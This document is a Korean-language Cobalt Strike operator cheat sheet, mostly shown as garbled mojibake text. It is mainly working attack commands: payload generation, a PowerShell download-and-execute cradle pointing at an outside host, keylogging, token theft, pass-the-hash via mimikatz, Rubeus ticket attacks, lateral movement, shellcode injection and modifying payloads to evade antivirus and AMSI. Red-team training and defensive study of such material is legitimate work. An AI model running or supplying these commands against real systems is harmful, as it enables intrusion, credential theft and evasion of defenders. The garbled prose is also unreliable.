๋ฆฌ์ค๋
C2 ๋ฆฌ์ค๋
Cobalt Strike -> Listeners -> Add/Edit
๋ฅผ ์ ํํ ๋ค์, ์์ ํ ์์น, ์ฌ์ฉํ ๋น์ฝ ์ข
๋ฅ (http, dns, smb ๋ฑ) ๋ฑ์ ์ ํํ ์ ์์ต๋๋ค.
Peer2Peer ๋ฆฌ์ค๋
์ด ๋ฆฌ์ค๋์ ๋น์ฝ์ C2์ ์ง์ ํต์ ํ ํ์๊ฐ ์์ผ๋ฉฐ, ๋ค๋ฅธ ๋น์ฝ์ ํตํด ํต์ ํ ์ ์์ต๋๋ค.
Cobalt Strike -> Listeners -> Add/Edit
๋ฅผ ์ ํํ ๋ค์, TCP ๋๋ SMB ๋น์ฝ์ ์ ํํด์ผ ํฉ๋๋ค.
TCP ๋น์ฝ์ ์ ํํ ํฌํธ์ ๋ฆฌ์ค๋๋ฅผ ์ค์ ํฉ๋๋ค. ๋ค๋ฅธ ๋น์ฝ์์ connect <ip> <port>
๋ช
๋ น์ ์ฌ์ฉํ์ฌ TCP ๋น์ฝ์ ์ฐ๊ฒฐํ ์ ์์ต๋๋ค.
SMB ๋น์ฝ์ ์ ํํ ์ด๋ฆ์ ํ์ดํ๋ค์์์ ์์ ๋๊ธฐํฉ๋๋ค. SMB ๋น์ฝ์ ์ฐ๊ฒฐํ๋ ค๋ฉด link [target] [pipe]
๋ช
๋ น์ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
ํ์ด๋ก๋ ์์ฑ ๋ฐ ํธ์คํ
ํ์ผ์์ ํ์ด๋ก๋ ์์ฑ
Attacks -> Packages ->
**HTMLApplication
**์ HTA ํ์ผ์ฉ์
๋๋ค.
**MS Office Macro
**์ ๋งคํฌ๋ก๊ฐ ํฌํจ๋ ์คํผ์ค ๋ฌธ์์ฉ์
๋๋ค.
**Windows Executable
**์ .exe, .dll ๋๋ ์๋น์ค .exe์ฉ์
๋๋ค.
**Windows Executable (S)
**์ ์คํ
์ด์ง๊ฐ ์๋ .exe, .dll ๋๋ ์๋น์ค .exe์ฉ์
๋๋ค (์คํ
์ด์ง๊ฐ ์๋ ๊ฒ๋ณด๋ค IoC๊ฐ ์ ์ต๋๋ค).
ํ์ด๋ก๋ ์์ฑ ๋ฐ ํธ์คํ
Attacks -> Web Drive-by -> Scripted Web Delivery (S)
๋ฅผ ์ ํํ๋ฉด cobalt strike์์ ๋น์ฝ์ ๋ค์ด๋ก๋ํ๊ธฐ ์ํ ์คํฌ๋ฆฝํธ/์คํ ํ์ผ์ด bitsadmin, exe, powershell ๋ฐ python๊ณผ ๊ฐ์ ํ์์ผ๋ก ์์ฑ๋ฉ๋๋ค.
ํ์ด๋ก๋ ํธ์คํ
์น ์๋ฒ์ ํธ์คํ
ํ ํ์ผ์ด ์ด๋ฏธ ์๋ ๊ฒฝ์ฐ Attacks -> Web Drive-by -> Host File
๋ก ์ด๋ํ์ฌ ํธ์คํ
ํ ํ์ผ๊ณผ ์น ์๋ฒ ๊ตฌ์ฑ์ ์ ํํ์ญ์์ค.
๋น์ฝ ์ต์
# ๋ก์ปฌ .NET ์ด์ง ํ์ผ ์คํ
execute-assembly </path/to/executable.exe>
# ์คํฌ๋ฆฐ์ท
printscreen # PrintScr ๋ฉ์๋๋ฅผ ํตํด ๋จ์ผ ์คํฌ๋ฆฐ์ท ์บก์ฒ
screenshot # ๋จ์ผ ์คํฌ๋ฆฐ์ท ์บก์ฒ
screenwatch # ๋ฐ์คํฌํฑ์ ์ฃผ๊ธฐ์ ์ธ ์คํฌ๋ฆฐ์ท ์บก์ฒ
## ๋ณด๋ ค๋ฉด View -> Screenshots๋ก ์ด๋
# ํค๋ก๊ฑฐ
keylogger [pid] [x86|x64]
## View > Keystrokes์์ ๋๋ฆฐ ํค ํ์ธ
# ํฌํธ ์ค์บ
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # ๋ค๋ฅธ ํ๋ก์ธ์ค ๋ด์์ ํฌํธ ์ค์บ ์ก์
์ฃผ์
portscan [targets] [ports] [arp|icmp|none] [max connections]
# Powershell
# Powershell ๋ชจ๋ ๊ฐ์ ธ์ค๊ธฐ
powershell-import C:\path\to\PowerView.ps1
powershell <์ฌ๊ธฐ์ powershell ๋ช
๋ น ์
๋ ฅ>
# ์ฌ์ฉ์ ์์ฅ
## ์๊ฒฉ ์ฆ๋ช
์ผ๋ก ํ ํฐ ์์ฑ
make_token [DOMAIN\user] [password] # ๋คํธ์ํฌ์์ ์ฌ์ฉ์๋ฅผ ์์ฅํ๊ธฐ ์ํด ํ ํฐ ์์ฑ
ls \\computer_name\c$ # ์์ฑ๋ ํ ํฐ์ ์ฌ์ฉํ์ฌ ์ปดํจํฐ์ C$์ ์ก์ธ์ค ์๋
rev2self # make_token์ผ๋ก ์์ฑ๋ ํ ํฐ ์ฌ์ฉ ์ค์ง
## make_token ์ฌ์ฉ ์ ์ด๋ฒคํธ 4624๊ฐ ์์ฑ๋ฉ๋๋ค. ์ด ์ด๋ฒคํธ๋ Windows ๋๋ฉ์ธ์์ ๋งค์ฐ ์ผ๋ฐ์ ์ด์ง๋ง, ๋ก๊ทธ์จ ์ ํ์ผ๋ก ํํฐ๋งํ์ฌ ์ขํ ์ ์์ต๋๋ค. ์์์ ์ธ๊ธํ๋๋ก LOGON32_LOGON_NEW_CREDENTIALS๋ฅผ ์ฌ์ฉํ๋ฉฐ, ์ด๋ ์ ํ 9์
๋๋ค.
# UAC ์ฐํ
elevate svc-exe <๋ฆฌ์ค๋>
elevate uac-token-duplication <๋ฆฌ์ค๋>
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## pid์์ ํ ํฐ ๋์ฉ
## make_token๊ณผ ์ ์ฌํ์ง๋ง ํ๋ก์ธ์ค์์ ํ ํฐ์ ๋์ฉํฉ๋๋ค.
steal_token [pid] # ๋ํ, ์ด๋ ๋ก์ปฌ ์์
์ด ์๋ ๋คํธ์ํฌ ์์
์ ์ ์ฉํฉ๋๋ค.
## API ๋ฌธ์์์ ์ ์ ์๋ฏ์ด ์ด ๋ก๊ทธ์จ ์ ํ์ "ํธ์ถ์๊ฐ ํ์ฌ ํ ํฐ์ ๋ณต์ ํ ์ ์๊ฒ ํฉ๋๋ค". ์ด๊ฒ์ด Beacon ์ถ๋ ฅ์์ Impersonated <current_username>์ด๋ผ๊ณ ํ์๋๋ ์ด์ ์
๋๋ค. ์ด๋ ์ฐ๋ฆฌ ์์ ์ ๋ณต์ ๋ ํ ํฐ์ ์์ฅํ๊ณ ์๊ธฐ ๋๋ฌธ์
๋๋ค.
ls \\computer_name\c$ # ์์ฑ๋ ํ ํฐ์ ์ฌ์ฉํ์ฌ ์ปดํจํฐ์ C$์ ์ก์ธ์ค ์๋
rev2self # steal_token์์ ๋์ฉํ ํ ํฐ ์ฌ์ฉ ์ค์ง
## ์ ์๊ฒฉ ์ฆ๋ช
์ผ๋ก ํ๋ก์ธ์ค ์คํ
spawnas [domain\username] [password] [listener] # C:\์ ๊ฐ์ ์ฝ๊ธฐ ๊ถํ์ด ์๋ ๋๋ ํฐ๋ฆฌ์์ ์คํํด์ผ ํฉ๋๋ค.
## make_token๊ณผ ์ ์ฌํ๊ฒ Windows ์ด๋ฒคํธ 4624๊ฐ ์์ฑ๋ฉ๋๋ค. ๋ก๊ทธ์จ ์ ํ์ 2(LOGON32_LOGON_INTERACTIVE)์
๋๋ค. ํธ์ถํ๋ ์ฌ์ฉ์(TargetUserName)์ ์์ฅ๋ ์ฌ์ฉ์(TargetOutboundUserName)๊ฐ ์์ธํ ํ์๋ฉ๋๋ค.
## ํ๋ก์ธ์ค์ ์ฃผ์
inject [pid] [x64|x86] [listener]
## OpSec ๊ด์ ์์ ๊ถ์ฅํ์ง ์์ต๋๋ค. ๊ผญ ํ์ํ ๊ฒฝ์ฐ์๋ง ํฌ๋ก์ค ํ๋ซํผ ์ฃผ์
์ ์ํํ์ญ์์ค (์: x86 -> x64 ๋๋ x64 -> x86).
## ํด์ ์ ๋ฌ
## ์ด ์์ ํ๋ก์ธ์ค๋ LSASS ๋ฉ๋ชจ๋ฆฌ ํจ์น๋ฅผ ํ์๋ก ํ๋ฉฐ, ๊ณ ์ํ ์์
์ด๋ฏ๋ก ๋ก์ปฌ ๊ด๋ฆฌ์ ๊ถํ์ด ํ์ํ๋ฉฐ, Protected Process Light (PPL)์ด ํ์ฑํ๋์ด ์์ง ์์ ๊ฒฝ์ฐ์๋ง ์คํ ๊ฐ๋ฅํฉ๋๋ค.
pth [pid] [arch] [DOMAIN\user] [NTLM ํด์]
pth [DOMAIN\user] [NTLM ํด์]
## mimikatz๋ฅผ ํตํ ํด์ ์ ๋ฌ
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM ํด์> /run:"powershell -w hidden"
## /run ์์ด mimikatz๋ cmd.exe๋ฅผ ์์ฑํฉ๋๋ค. ๋ฐ์คํฌํฑ์ ์คํ ์ค์ธ ์ฌ์ฉ์๋ ์์ ๋ณผ ์ ์์ต๋๋ค (SYSTEM์ผ๋ก ์คํ ์ค์ธ ๊ฒฝ์ฐ ๋ฌธ์ ์์)
steal_token <pid> # mimikatz๊ฐ ์์ฑํ ํ๋ก์ธ์ค์์ ํ ํฐ ๋์ฉ
## ํฐ์ผ ์ ๋ฌ
## ํฐ์ผ ์์ฒญ
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
## ์ ํฐ์ผ์ ์ฌ์ฉํ๊ธฐ ์ํด ์ ๋ก๊ทธ์จ ์ธ์
์์ฑ (์์๋ ์ธ์
์ ๋ฎ์ด์ฐ์ง ์๊ธฐ ์ํด)
make_token <domain>\<username> DummyPass
## ๊ณต๊ฒฉ์ ์ปดํจํฐ์ ํฐ์ผ ์์ฑ ๋ฐ ๋ก๋
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
## SYSTEM์์ ํฐ์ผ ์ ๋ฌ
## ํฐ์ผ์ ์ฌ์ฉํ์ฌ ์ ํ๋ก์ธ์ค ์์ฑ
execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## ํด๋น ํ๋ก์ธ์ค์์ ํ ํฐ ๋์ฉ
steal_token <pid>
## ํฐ์ผ ์ถ์ถ + ํฐ์ผ ์ ๋ฌ
### ํฐ์ผ ๋ชฉ๋ก
execute-assembly C:\path\Rubeus.exe triage
### luid๋ก ํฐ์ผ ๋คํ
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:&#
### ์๋ก์ด ๋ก๊ทธ์จ ์ธ์
์์ฑ, luid์ processid ๊ธฐ๋ก
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### ์์ฑ๋ ํฐ์ผ์ ๋ก๊ทธ์จ ์ธ์
์ ์ฝ์
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### ๋ง์ง๋ง์ผ๋ก, ์๋ก์ด ํ๋ก์ธ์ค์์ ํ ํฐ์ ๋์ฉ
steal_token <pid>
# ์ธก๋ฉด ์ด๋
## ํ ํฐ์ด ์์ฑ๋์๋ค๋ฉด ์ฌ์ฉ๋ ๊ฒ์
๋๋ค.
jump [method] [target] [listener]
## ๋ฉ์๋:
## psexec x86 ์๋น์ค๋ฅผ ์ฌ์ฉํ์ฌ ์๋น์ค EXE ์ํฐํฉํธ ์คํ
## psexec64 x64 ์๋น์ค๋ฅผ ์ฌ์ฉํ์ฌ ์๋น์ค EXE ์ํฐํฉํธ ์คํ
##ย psexec_psh x86 ์๋น์ค๋ฅผ ์ฌ์ฉํ์ฌ PowerShell ์๋ผ์ด๋ ์คํ
##ย winrm x86 WinRM์ ํตํด PowerShell ์คํฌ๋ฆฝํธ ์คํ
##ย winrm64 x64 WinRM์ ํตํด PowerShell ์คํฌ๋ฆฝํธ ์คํ
remote-exec [method] [target] [command]
## ๋ฉ์๋:
##ย psexec ์๋น์ค ์ ์ด ๊ด๋ฆฌ์๋ฅผ ํตํ ์๊ฒฉ ์คํ
##ย winrm WinRM์ ํตํ ์๊ฒฉ ์คํ (PowerShell)
##ย wmi WMI๋ฅผ ํตํ ์๊ฒฉ ์คํ
## wmi๋ฅผ ์ฌ์ฉํ์ฌ ๋น์ฝ์ ์คํํ๋ ค๋ฉด (jump ๋ช
๋ น์ ์์) ๋น์ฝ์ ์
๋ก๋ํ๊ณ ์คํํ์ญ์์ค.
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
# ์ธ์
์ Metasploit์ ์ ๋ฌ - ๋ฆฌ์ค๋๋ฅผ ํตํด
## Metasploit ํธ์คํธ์์
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j
## Cobalt์์: Listeners > Add ๋ฐ Payload๋ฅผ Foreign HTTP๋ก ์ค์ ํฉ๋๋ค. Host๋ฅผ 10.10.5.120๋ก, Port๋ฅผ 8080์ผ๋ก ์ค์ ํ๊ณ ์ ์ฅ์ ํด๋ฆญํฉ๋๋ค.
beacon> spawn metasploit
## ์ธ๋ถ ๋ฆฌ์ค๋๋ก๋ x86 Meterpreter ์ธ์
๋ง ์์ฑํ ์ ์์ต๋๋ค.
# ์ธ์
์ Metasploit์ ์ ๋ฌ - ์์ฝ๋ ์ธ์ ์
์ ํตํด
## Metasploit ํธ์คํธ์์
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
## msfvenom์ ์คํํ๊ณ multi/handler ๋ฆฌ์ค๋๋ฅผ ์ค๋นํฉ๋๋ค.
## bin ํ์ผ์ cobalt strike ํธ์คํธ๋ก ๋ณต์ฌํฉ๋๋ค.
ps
shinject <pid> x64 C:\Payloads\msf.bin # x64 ํ๋ก์ธ์ค์ metasploit ์์ฝ๋๋ฅผ ์ธ์ ์
ํฉ๋๋ค.
# Metasploit ์ธ์
์ cobalt strike์ ์ ๋ฌ
## stageless Beacon ์์ฝ๋๋ฅผ ์์ฑํ๋ ค๋ฉด, Attacks > Packages > Windows Executable (S)๋ก ์ด๋ํ๊ณ ์ํ๋ ๋ฆฌ์ค๋๋ฅผ ์ ํํ ๋ค์ Output ์ ํ์ผ๋ก Raw๋ฅผ ์ ํํ๊ณ Use x64 payload๋ฅผ ์ ํํฉ๋๋ค.
## metasploit์์ post/windows/manage/shellcode_inject๋ฅผ ์ฌ์ฉํ์ฌ ์์ฑ๋ cobalt strike ์์ฝ๋๋ฅผ ์ธ์ ์
ํฉ๋๋ค.
# ํผ๋ฒ
## ํ์๋ฒ์์ ์์ผ ํ๋ก์ ์ด๊ธฐ
beacon> socks 1080
# SSH ์ฐ๊ฒฐ
beacon> ssh 10.10.17.12:22 username password
AV ํํผ
Artifact Kit
์ผ๋ฐ์ ์ผ๋ก /opt/cobaltstrike/artifact-kit
์์ cobalt strike๊ฐ ์ด์ง ๋น์ฝ์ ์์ฑํ๋ ๋ฐ ์ฌ์ฉํ ์ฝ๋์ ๋ฏธ๋ฆฌ ์ปดํ์ผ๋ ํ
ํ๋ฆฟ (/src-common
)์ ์ฐพ์ ์ ์์ต๋๋ค.
ThreatCheck๋ฅผ ์ฌ์ฉํ์ฌ ์์ฑ๋ ๋ฐฑ๋์ด(๋๋ ์ปดํ์ผ๋ ํ
ํ๋ฆฟ)๋ก defender๊ฐ ํธ๋ฆฌ๊ฑฐ๋๋ ์์ธ์ ์ฐพ์ ์ ์์ต๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ๋ฌธ์์ด์
๋๋ค. ๋ฐ๋ผ์ ๋ฐฑ๋์ด๋ฅผ ์์ฑํ๋ ์ฝ๋์์ ํด๋น ๋ฌธ์์ด์ด ์ต์ข
์ด์ง ํ์ผ์ ๋ํ๋์ง ์๋๋ก ์์ ํ ์ ์์ต๋๋ค.
์ฝ๋๋ฅผ ์์ ํ ํ ๋์ผํ ๋๋ ํ ๋ฆฌ์์ ./build.sh
๋ฅผ ์คํํ๊ณ dist-pipe/
ํด๋๋ฅผ Windows ํด๋ผ์ด์ธํธ์ C:\Tools\cobaltstrike\ArtifactKit
์ ๋ณต์ฌํฉ๋๋ค.
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
์์ง ๋ง๊ณ ๊ณต๊ฒฉ์ ์ธ ์คํฌ๋ฆฝํธ dist-pipe\artifact.cna
๋ฅผ ๋ก๋ํ์ฌ Cobalt Strike์๊ฒ ์ํ๋ ๋์คํฌ ๋ฆฌ์์ค๋ฅผ ์ฌ์ฉํ๋๋ก ์ง์ํด์ผ ํฉ๋๋ค.
๋ฆฌ์์ค ํคํธ
๋ฆฌ์์ค ํคํธ ํด๋์๋ PowerShell, VBA ๋ฐ HTA๋ฅผ ํฌํจํ Cobalt Strike์ ์คํฌ๋ฆฝํธ ๊ธฐ๋ฐ ํ์ด๋ก๋์ ํ
ํ๋ฆฟ์ด ํฌํจ๋์ด ์์ต๋๋ค.
ํ
ํ๋ฆฟ๊ณผ ํจ๊ป ThreatCheck๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐฉ์ด์(์ด ๊ฒฝ์ฐ AMSI)๊ฐ ์ข์ํ์ง ์๋ ๋ถ๋ถ์ ์ฐพ๊ณ ์์ ํ ์ ์์ต๋๋ค:
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
๊ฐ์ง๋ ๋ผ์ธ์ ์์ ํ์ฌ ๊ฐ์ง๋์ง ์๋ ํ
ํ๋ฆฟ์ ์์ฑํ ์ ์์ต๋๋ค.
Cobalt Strike์๊ฒ ๋์คํฌ์์ ์ํ๋ ๋ฆฌ์์ค๋ฅผ ๋ก๋ํ๋๋ก ์ง์ํ๊ธฐ ์ํด ๊ณต๊ฒฉ์ ์ธ ์คํฌ๋ฆฝํธ ResourceKit\resources.cna
๋ฅผ ๋ก๋ํ๋ ๊ฒ์ ์์ง ๋ง์ธ์.
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
Last updated